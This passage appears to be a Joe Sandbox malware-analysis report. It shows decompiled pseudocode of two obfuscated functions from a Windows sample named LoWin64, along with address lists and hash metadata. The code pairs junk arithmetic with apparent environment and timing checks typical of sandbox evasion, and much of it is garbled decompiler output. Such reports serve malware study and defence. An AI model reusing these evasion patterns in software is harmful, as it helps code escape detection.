				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t197;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t197;
				 *0x6b =  *0x6b + _t135;
				_t379 = _a168 + _t457;
				_a168 = _t379;
				 *0xb1decf60 = _t379;
				_t252 = _t379 - 0x1f;
				if (_t252 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t457;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t379 =  *_t379 | _t379;
				if (_t252 >= 0) goto 0xb1ca8308;
				_t382 = (_t379 - _t457 | 0xffffff80) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t252 != 0) goto 0xb1ca8318;
				if (_t252 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t382) & r14d) >= 0) goto 0xb1ca8333;
				_t385 = (_t382 - _t457 | 0xffffff80) + _t457;
				if (_t385 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t385) & r14d) >= 0) goto 0xb1ca835e;
				_t388 = (_t385 - _t457 | 0xffffff80) + _t457;
				if (_t388 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t388);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t391 = (_t388 - _t457 | 0xffffff80) + _t457;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t391);
				if (_t391 - 0x34 >= 0) goto 0xb1ca8397;
				_t394 = (_t391 - _t457 | 0xffffff80) + _t457;
				_t260 = _t394 - 0x1f;
				if (_t260 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t394);
				if (_t260 >= 0) goto 0xb1ca83ac;
				_t261 = (_t394 - _t457 | 0xffffff80) + _t457 - 4;
				if (_t261 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t394 - _t457 | 0xffffff80) + _t457);
				if (_t261 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t263 = r13d - 0x54;
				if (_t263 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t263 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t457;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t457;
				IsIconic(??);
				asm("adc al, 0x0");
				_t403 = 0x50 + _t457;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t403);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t406 = (_t403 - _t457 | 0xffffff80) + _t457;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t406);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t409 = (_t406 - _t457 | 0xffffff80) + _t457;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t409);
				E00007FF67FF6B1D3ACF4(_t409);
				E00007FF67FF6B1D3ACF4(_t409);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t412 = (_t409 - _t457 | 0xffffff80) + _t457;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t457;
				E00007FF67FF6B1D3ACF4(_t412);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t415 = (_t412 - _t457 | 0xffffff80) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t415);
				E00007FF67FF6B1D3ACF4(_t415);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t418 = (_t415 - _t457 | 0xffffff80) + _t457;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t418);
				E00007FF67FF6B1D3ACF4(_t418);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t421 = (_t418 - _t457 | 0xffffff80) + _t457;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t421);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t427 = ((_t421 - _t457 | 0xffffff80) + _t457 - _t457 | 0xffffff80) + _t457;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t178 = E00007FF67FF6B1D3ACF4(_t427);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t427 - _t457 | 0xffffff80) + _t457 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t178 & r14d;
			}

0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e23
0x7ff6b1ca7e25
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e51
0x7ff6b1ca7e56
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed5ba8c833e899ee80cf944b6540b863c2281132b51daea71831cbd16389602
Instruction ID: 2be43fd111f33522915c243f7d26a80aa26cd7a591611419598b6eff75d381cb
Opcode Fuzzy Hash: 9ed5ba8c833e899ee80cf944b6540b863c2281132b51daea71831cbd16389602
Instruction Fuzzy Hash: 93615F67F38A0A67F7115F2CAD4D2B962A16F21709F740739D709E218ADF3CF5868248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA8040 Relevance: 6.2, APIs: 4, Instructions: 169
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00007FF67FF6B1CA8040(void* __eax, void* __edi, void* __ebp, void* __eflags, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t59;
				void* _t81;
				signed int _t124;
				signed int _t131;
				signed int _t133;
				void* _t142;
				void* _t146;
				void* _t147;
				void* _t149;
				void* _t157;
				void* _t160;
				void* _t161;
				void* _t163;
				void* _t171;
				void* _t172;
				void* _t174;
				void* _t186;
				void* _t189;
				void* _t192;
				signed long long _t195;
				void* _t198;
				void* _t201;
				void* _t204;
				void* _t207;
				void* _t210;
				void* _t213;
				void* _t216;
				void* _t219;
				void* _t222;
				signed long long _t225;
				void* _t228;
				signed long long _t233;
				void* _t236;
				void* _t239;
				void* _t242;
				void* _t245;
				void* _t248;
				void* _t257;
				void* _t260;
				void* _t263;
				void* _t266;
				void* _t269;
				void* _t272;
				void* _t275;
				void* _t281;
				void* _t286;
				signed long long _t293;
				signed long long _t304;
				void* _t307;
				signed long long _t310;
				void* _t316;

				_t146 = __eflags;
				_t189 = (_t186 - _t310 | _t304) + _t310;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1ca805e;
				if (__eflags == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t310;
				E00007FF67FF6B1D3ACF4(_t189);
				if (_t146 >= 0) goto 0xb1ca807a;
				_t192 = (_t189 - _t310 | _t304) + _t310;
				_t147 = _t192 - 0x3f;
				 *0xb1decf60 = _t293;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t192);
				if (_t147 >= 0) goto 0xb1ca80a0;
				_t195 = (_t192 - _t310 | _t304) + _t310;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t195;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t195);
				if (_t147 >= 0) goto 0xb1ca80d1;
				_t198 = (_t195 - _t310 | _t304) + _t310;
				 *0xb1decf60 = _t293;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t198);
				if (_t198 - 0x13 >= 0) goto 0xb1ca80f7;
				_t201 = (_t198 - _t310 | _t304) + _t310;
				_t149 = _t201 - 0x3f;
				if (_t149 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t201);
				if (_t149 >= 0) goto 0xb1ca810c;
				_t204 = (_t201 - _t310 | _t304) + _t310;
				_t131 = r15d & 0xffffff00 | _t204 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t293;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t204) & r14d) >= 0) goto 0xb1ca812d;
				_t207 = (_t204 - _t310 | _t304) + _t310;
				if (_t207 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t207) & r14d) >= 0) goto 0xb1ca8142;
				_t210 = (_t207 - _t310 | _t304) + _t310;
				if (_t210 != 0x7e) goto 0xb1ca8168;
				_t59 = E00007FF67FF6B1D3ACF4(_t210);
				_t60 = _t59 & r14d;
				if ((_t59 & r14d) >= 0) goto 0xb1ca8157;
				_t213 = (_t210 - _t310 | _t304) + _t310;
				r8d = r15d;
				r8b = _t213 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t60, _t142, _t286, _a144, _t307); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t131, _t286, 0, _t213, _t316), _t142, _a144);
				 *0xb1decf60 = _t310;
				E00007FF67FF6B1D3ACF4(_t213);
				E00007FF67FF6B1D3ACF4(_t213);
				asm("push es");
				_t216 = (_t213 - _t310 | 0xffffff80) + _t310;
				asm("movsd xmm6, [0x11694a]");
				_t157 = _t216 - 5;
				if (_t157 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t216);
				if (_t157 >= 0) goto 0xb1ca81e3;
				_t219 = (_t216 - _t310 | 0xffffff80) + _t310;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t157 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t219);
				if (_t157 >= 0) goto 0xb1ca820e;
				_t222 = (_t219 - _t310 | 0xffffff80) + _t310;
				if (_t222 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t222);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t225 = (_t222 - _t310 | 0xffffff80) + _t310;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t225;
				 *0xb1decf60 = _t310;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t160 = r12d - 0x42;
				if (_t160 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t225);
				if (_t160 >= 0) goto 0xb1ca8274;
				_t228 = (_t225 - _t310 | 0xffffff80) + _t310;
				_t161 = _t228 - 0x2e;
				if (_t161 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t228);
				if (_t161 >= 0) goto 0xb1ca828f;
				_t133 = r15d & 0xffffff00 | (_t228 - _t310 | 0xffffff80) + _t310 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t81 = E00007FF67FF6B1D3ACF4((_t228 - _t310 | 0xffffff80) + _t310);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t133;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t133;
				 *0x6b =  *0x6b + _t81;
				_t233 = _a168 + _t310;
				_a168 = _t233;
				 *0xb1decf60 = _t233;
				_t163 = _t233 - 0x1f;
				if (_t163 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t310;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t233 =  *_t233 | _t233;
				if (_t163 >= 0) goto 0xb1ca8308;
				_t236 = (_t233 - _t310 | 0xffffff80) + _t310;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t163 != 0) goto 0xb1ca8318;
				if (_t163 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t236) & r14d) >= 0) goto 0xb1ca8333;
				_t239 = (_t236 - _t310 | 0xffffff80) + _t310;
				if (_t239 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t239) & r14d) >= 0) goto 0xb1ca835e;
				_t242 = (_t239 - _t310 | 0xffffff80) + _t310;
				if (_t242 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t242);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t245 = (_t242 - _t310 | 0xffffff80) + _t310;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t245);
				if (_t245 - 0x34 >= 0) goto 0xb1ca8397;
				_t248 = (_t245 - _t310 | 0xffffff80) + _t310;
				_t171 = _t248 - 0x1f;
				if (_t171 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t248);
				if (_t171 >= 0) goto 0xb1ca83ac;
				_t172 = (_t248 - _t310 | 0xffffff80) + _t310 - 4;
				if (_t172 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t248 - _t310 | 0xffffff80) + _t310);
				if (_t172 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t174 = r13d - 0x54;
				if (_t174 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t174 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t310;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t310;
				IsIconic(??);
				asm("adc al, 0x0");
				_t257 = 0x50 + _t310;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t257);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t260 = (_t257 - _t310 | 0xffffff80) + _t310;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t260);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t263 = (_t260 - _t310 | 0xffffff80) + _t310;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t263);
				E00007FF67FF6B1D3ACF4(_t263);
				E00007FF67FF6B1D3ACF4(_t263);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t266 = (_t263 - _t310 | 0xffffff80) + _t310;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t310;
				E00007FF67FF6B1D3ACF4(_t266);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t269 = (_t266 - _t310 | 0xffffff80) + _t310;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t269);
				E00007FF67FF6B1D3ACF4(_t269);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t272 = (_t269 - _t310 | 0xffffff80) + _t310;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t272);
				E00007FF67FF6B1D3ACF4(_t272);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t275 = (_t272 - _t310 | 0xffffff80) + _t310;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t275);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t281 = ((_t275 - _t310 | 0xffffff80) + _t310 - _t310 | 0xffffff80) + _t310;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t124 = E00007FF67FF6B1D3ACF4(_t281);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t281 - _t310 | 0xffffff80) + _t310 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t124 & r14d;
			}

0x7ff6b1ca8040
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
